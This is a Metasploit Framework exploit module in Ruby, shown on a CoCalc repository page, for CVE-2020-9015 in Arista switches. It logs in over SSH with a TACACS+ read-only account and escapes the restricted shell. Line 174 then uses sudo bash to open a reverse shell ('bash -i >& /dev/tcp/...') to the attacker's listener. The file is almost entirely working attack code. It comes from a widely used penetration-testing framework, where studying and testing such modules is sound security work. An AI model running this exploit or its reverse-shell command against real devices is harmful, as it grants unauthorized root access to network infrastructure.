CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ssh/arista_tacplus_shell.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = GreatRanking
11
12
include Msf::Exploit::Remote::SSH
13
include Msf::Auxiliary::Report
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Arista restricted shell escape (with privesc)',
20
'Description' => %q{
21
This exploit module takes advantage of a poorly configured TACACS+ config,
22
Arista's bash shell and TACACS+ read-only account to privilage escalate.
23
A CVSS v3 base score of 9.8 has been assigned.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => ['Chris Anders'],
27
'References' => [
28
[ 'CVE', '2020-9015'],
29
[ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],
30
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],
31
],
32
'Arch' => ARCH_X86,
33
'ConnectionType' => 'find',
34
'DefaultTarget' => 0,
35
'DefaultOptions' => {
36
'Payload' => 'linux/x86/shell_reverse_tcp'
37
},
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'Reliability' => [REPEATABLE_SESSION],
41
'SideEffects' => [IOC_IN_LOGS]
42
},
43
'DisclosureDate' => '2020-02-02',
44
'Platform' => 'linux',
45
'PayloadType' => 'cmd_interact',
46
'Privileged' => true,
47
'Targets' => [ [ 'Universal', {} ] ]
48
)
49
)
50
51
register_options(
52
[
53
Opt::RPORT(22),
54
OptString.new('USERNAME', [true, 'Username to login with', '']),
55
OptString.new('PASSWORD', [true, 'Password to login with', '']),
56
]
57
)
58
59
register_advanced_options(
60
[
61
Opt::Proxies,
62
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
63
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),
64
OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
65
]
66
)
67
end
68
69
def check
70
opts = ssh_client_defaults.merge({
71
auth_methods: ['password', 'keyboard-interactive'],
72
port: rport,
73
password: password
74
})
75
76
begin
77
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
78
Net::SSH.start(rhost, username, opts)
79
end
80
rescue Rex::ConnectionError
81
return CheckCode::Safe
82
rescue Net::SSH::Disconnect, ::EOFError
83
return CheckCode::Safe
84
rescue Timeout::Error
85
return CheckCode::Safe
86
rescue Net::SSH::AuthenticationFailed
87
return CheckCode::Safe
88
rescue Net::SSH::Exception
89
return CheckCode::Safe
90
end
91
92
CheckCode::Detected
93
end
94
95
def rhost
96
datastore['RHOST']
97
end
98
99
def rport
100
datastore['RPORT']
101
end
102
103
def lport
104
datastore['LPORT']
105
end
106
107
def lhost
108
datastore['LHOST']
109
end
110
111
def username
112
datastore['USERNAME']
113
end
114
115
def password
116
datastore['PASSWORD']
117
end
118
119
def exploit
120
factory = ssh_socket_factory
121
122
opts = {
123
auth_methods: ['password', 'keyboard-interactive'],
124
port: rport,
125
use_agent: false,
126
config: false,
127
password: password,
128
proxy: factory,
129
non_interactive: true,
130
verify_host_key: :never
131
}
132
133
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
134
135
print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")
136
137
begin
138
ssh = nil
139
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
140
ssh = Net::SSH.start(rhost, username, opts)
141
end
142
rescue Rex::ConnectionError
143
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
144
rescue Net::SSH::Disconnect, ::EOFError
145
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
146
rescue ::Timeout::Error
147
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
148
rescue Net::SSH::AuthenticationFailed
149
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
150
rescue Net::SSH::Exception => e
151
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
152
end
153
154
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
155
begin
156
payload_executed = false
157
print_good('SSH connection established.')
158
159
ssh.open_channel do |channel, _data|
160
print_status('Requesting pty rbash')
161
162
channel.request_pty do |ch, success|
163
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success
164
print_good('PTY successfully obtained.')
165
166
print_status('Requesting a shell.')
167
ch.send_channel_request('shell') do |cha, _succ|
168
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success
169
print_good('Spawned into arista rbash shell.')
170
171
cha.on_data do |_xx, data2|
172
if data2.include?('#') && !payload_executed
173
print_status('Attempting to break out of Arista rbash...')
174
channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
175
payload_executed = true
176
print_good('Escaped from rbash!')
177
end
178
end
179
end
180
end
181
end
182
ssh.loop unless session_created?
183
rescue Errno::EBADF => e
184
elog(e.message)
185
end
186
end
187
end
188
189